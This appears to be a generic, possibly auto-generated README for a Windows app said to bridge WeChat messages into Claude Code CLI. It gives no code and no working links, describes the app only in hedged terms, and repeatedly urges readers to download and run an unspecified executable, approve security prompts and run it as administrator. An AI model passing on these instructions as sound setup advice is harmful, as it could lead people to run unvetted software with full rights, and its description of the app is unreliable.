wexin-code-cli-bridge helps you pass WeChat messages to Claude Code CLI through the iLink protocol.
This makes it easier to:
- read messages from WeChat in one place
- send those messages into Claude Code CLI
- keep your chat flow in a simple desktop setup
- work with a local bridge instead of moving between tools
It is built for Windows users who want a direct way to connect WeChat with a command-line workflow.
Visit this page to download and run the app:
If the page shows a release file, download it to your Windows PC and run the file after it finishes.
Before you start, check that your PC has:
- Windows 10 or Windows 11
- A stable internet connection
- WeChat installed on your computer
- Claude Code CLI set up on your computer
- Permission to run downloaded files
- Enough free disk space for the app and its log files
For best results, use a standard Windows user account with admin rights for the first setup.
The bridge sits between WeChat and Claude Code CLI.
- WeChat receives a message.
- The bridge reads the message through the iLink protocol.
- The bridge sends the message to Claude Code CLI.
- Claude Code CLI processes the message.
- The result comes back through the bridge flow.
You do not need to handle the protocol by hand. The app manages the message path for you.
Follow these steps on your Windows PC.
Go to:
Look for the latest release or the main download file.
If you see a Windows package such as an .exe file or a zipped folder, download it to a folder you can find again, such as:
- Downloads
- Desktop
- Documents
If the download comes as a .zip file:
- right-click the file
- choose Extract All
- pick a folder
- open the extracted folder
If you downloaded an .exe file:
- double-click the file
- approve the Windows security prompt if it appears
- wait for the app to open
If Windows asks for permission, choose Yes.
Place the app in a folder you will not delete by accident. A good choice is:
C:\Apps\wexin-code-cli-bridge
This helps keep the bridge files in one place.
After you start the app, check these items.
Make sure WeChat is open and signed in on the same computer.
Make sure Claude Code CLI is installed and ready to use. If the CLI needs a sign-in step or local setup, finish that first.
The app may ask for connection details such as:
- local port
- protocol endpoint
- message routing path
- log folder
If you see these fields, use the default values first unless the app gives you a clear reason to change them.
Use this process each time you want to use it.
- Open WeChat.
- Open Claude Code CLI.
- Start wexin-code-cli-bridge.
- Wait until the app shows that the connection is ready.
- Send a test message in WeChat.
- Check that the message reaches Claude Code CLI.
If the bridge supports auto-start, you can enable it later after the first test works.
You can use the app when you want to:
- send WeChat chats into a Claude Code workflow
- move text from WeChat without copying it by hand
- keep chat-based tasks in a local desktop tool
- connect message input to a coding or assistant flow
This setup is useful when you want one bridge for chat and command-line work.
If the app does not work right away, check these items.
Open WeChat first, then start the bridge again.
Check that Claude Code CLI is installed and available in your system path or in the location the bridge expects.
Try these steps:
- right-click the file
- choose Run as administrator
- move the app to a folder with a short path name
- make sure Windows did not block the file
Check that:
- both apps are open
- the bridge shows a live connection
- the protocol setting matches the app setup
- no other tool is using the same port
If the app closes after launch, open it from a terminal or keep the logs visible if the package includes a log window. This can help you see the error message.
You may see files like these after download:
wexin-code-cli-bridge.exe- main app fileconfig.json- settings filelogs- app logsREADME.md- project instructionsassets- icons or support files
Do not rename files unless the app guide tells you to.
Use the app from the official GitHub repository only.
- download from the link above
- keep your system up to date
- scan the file with Windows Security if you want a local check
- avoid moving files while the app is running
- close the bridge before deleting its folder
After setup, run this test:
- Start the bridge.
- Send a short message in WeChat.
- Watch for activity in Claude Code CLI.
- Confirm the message appears in the right place.
If the test works, your setup is ready for normal use.
If you are new to this kind of app, use this order:
- Download the file from GitHub.
- Unzip it if needed.
- Run the app.
- Open WeChat.
- Open Claude Code CLI.
- Test one message.
- Review the bridge settings only if the test fails
The app may include a few simple controls such as:
- Start
- Stop
- Reload
- Open Logs
- Settings
- Test Connection
Use Start to begin the bridge and Stop to pause it when you do not need it.
To keep setup easy:
- store the app in one folder
- keep the download file as a backup until setup works
- use a clear folder name
- avoid moving the app after you set it up
This makes it easier to find the bridge later.
Use wexin-code-cli-bridge when you want a direct link between WeChat messages and Claude Code CLI.
It fits a simple workflow where:
- WeChat is the source of messages
- the bridge moves those messages
- Claude Code CLI handles the output
If you need to get the app again, use this link:
Download the latest file from the page, then run it on Windows after the download finishes